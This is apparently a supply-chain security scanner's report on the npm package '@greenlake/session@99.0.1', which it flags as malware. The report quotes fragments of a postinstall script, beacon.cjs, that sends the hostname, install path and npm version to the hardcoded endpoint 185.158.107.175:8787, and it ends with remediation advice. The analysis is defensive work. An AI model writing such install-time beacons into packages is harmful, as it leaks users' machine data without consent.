@greenlake/session@99.0.1
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe package automatically transmits identifying host and installation metadata to a fixed external endpoint during installation. This supports blocking as an installation beacon disclosure.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall script.
Impact
The endpoint receives identifying information about the machine and its package installation.
Mechanism
The script collects host and install metadata and sends it in an HTTP POST request to 185.158.107.175:8787.
Attack narrative
The postinstall hook runs beacon.cjs, which collects the hostname, installation path, working directory, and npm version, then posts that metadata to a fixed external IP. This is automatic installation-time disclosure without an evident consent guard.
AI rationale
The package automatically transmits identifying host and installation metadata to a fixed external endpoint during installation. This supports blocking as an installation beacon disclosure.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically during installation through its postinstall hook.
- beacon.cjs sends a POST request to a fixed external IP address.
- The request payload includes the machine hostname, install path, working directory, and npm version.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"postinstall": "node beacon.cjs"
},
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically during installation through its postinstall hook.
package.jsonView on unpkg · L5beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/session";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/session@99.0.1.
See all versions of @greenlake/session for other recorded verdicts.
- Avoid installing @greenlake/session@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.